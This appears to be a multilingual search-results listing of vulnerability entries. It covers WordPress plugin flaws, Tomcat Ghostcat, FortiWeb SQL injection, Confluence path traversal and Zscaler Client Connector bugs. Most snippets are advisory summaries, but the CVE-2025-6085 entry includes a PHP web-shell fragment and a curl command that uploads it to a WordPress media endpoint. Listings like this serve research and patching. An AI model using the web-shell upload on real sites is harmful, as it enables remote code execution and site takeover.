5136 matches found
Python-exploit-CVE-2020-25213
Descrizione Il plugin File Manager wp-file-manager prima della versione 6.9 per WordPress consente a un attaccante remoto di caricare ed eseguire codice PHP arbitrario perché rinomina un file connector elFinder di esempio non sicuro in modo che abbia estensione .php. Ciò, ad esempio, permette agl...
CVE-2020-1938_Ghostcat-PoC
CVE-2020-1938Ghostcat-PoC - CVE-2020-1938 Uma poderosa ferramenta de exploração em Python para a vulnerabilidade Apache Tomcat AJP Ghostcat CVE-2020-1938, com funcionalidades avançadas para testes de penetração e pesquisa de segurança. 🔍 Visão Geral A vulnerabilidade Ghostcat CVE-2020-1938 permit...
CVE-2025-6085
Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ Die Shell ausnutzen, soba...
CVE-2025-25257
CVE-2025-25257 CVE‑2025‑25257 ist eine kritische SQL-Injection-Schwachstelle vor der Authentifizierung, die die Fabric-Connector-Komponente von Fortinet FortiWeb betrifft. Sie betrifft die FortiWeb-Versionen: 7.6.0–7.6.3 7.4.0–7.4.7 7.2.0–7.2.10 ≤ 7.0.10 Technische Details Das Problem liegt in de...
Atlassian Confluence Server - Path Traversal
The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 the fixed version for 6.6.x, from version 6.7.0 before 6.12.3 the fixed version for 6.12.x, from version 6.13.0 before 6.13.3 the fixed version for 6.13.x, and from version 6.14.0 before 6.14.2 the fixed version for...
CVE-2024-9822
CVE-2024-9822 Pedalo Connector = 2.0.5 - Bypass di autenticazione ad Amministratore Descrizione Il plugin Pedalo Connector per WordPress è vulnerabile al bypass di autenticazione nelle versioni fino alla 2.0.5 inclusa. Ciò è dovuto a una restrizione insufficiente sulla funzione 'loginadminuser'...
CVE-2026-59568
Multiple vulnerabilities on affected versions of Zscaler Client Connector allow remote code execution, giving an unauthenticated, unprivileged user the ability to execute arbitrary code in the ZCC context...
CVE-2026-59567
Multiple vulnerabilities on affected versions of Zscaler Client Connector allow local privilege escalation, giving an unprivileged user the ability to execute arbitrary code in a privileged context...
CVE-2026-59565
A remotely exploitable buffer overflow bug can cause a local and kernel denial-of-service attack on affected versions of Zscaler Client Connector on Windows...
CVE-2026-59566
A locally exploitable buffer overflow bug can cause a local denial-of-service attack on affected versions of Zscaler Client Connector on Android and ChromeOS...
CVE-2026-59564
An authentication bypass issue exists in communications between affected versions of the Zscaler Client Connector and the Zscaler Client Connector Portal...
CVE-2026-59568
CVE-2026-59568 covers multiple vulnerabilities in Zscaler Client Connector (ZCC) that allow an unauthenticated, unprivileged remote attacker to achieve remote code execution in the ZCC context. The CNA-assigned CVSS 3.1 score is 9.1 (CRITICAL) , with a network attack vector, low complexity, no pr...
CVE-2026-59568 Remote Code Execution
Multiple vulnerabilities on affected versions of Zscaler Client Connector allow remote code execution, giving an unauthenticated, unprivileged user the ability to execute arbitrary code in the ZCC context...
EUVD-2026-64884
Multiple vulnerabilities on affected versions of Zscaler Client Connector allow remote code execution, giving an unauthenticated, unprivileged user the ability to execute arbitrary code in the ZCC context...
EUVD-2026-64883
Multiple vulnerabilities on affected versions of Zscaler Client Connector allow local privilege escalation, giving an unprivileged user the ability to execute arbitrary code in a privileged context...
CVE-2026-59567 Local privilege escalation
Multiple vulnerabilities on affected versions of Zscaler Client Connector allow local privilege escalation, giving an unprivileged user the ability to execute arbitrary code in a privileged context...
CVE-2026-59567
Zscaler Client Connector is affected by multiple local privilege escalation vulnerabilities that allow an unprivileged user to execute arbitrary code in a privileged context . The CVSS 3.1 score is 8.8 (HIGH) , with a local attack vector, low complexity, low privileges required, no user interacti...
EUVD-2026-64882
A locally exploitable buffer overflow bug can cause a local denial-of-service attack on affected versions of Zscaler Client Connector on Android and ChromeOS...
CVE-2026-59566
CVE-2026-59566 is a locally exploitable buffer overflow in Zscaler Client Connector on Android and ChromeOS that can lead to a local denial-of-service. The CVSS 3.1 base score is 8.4 (HIGH) with a vector of AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, indicating low complexity and no privileges or user i...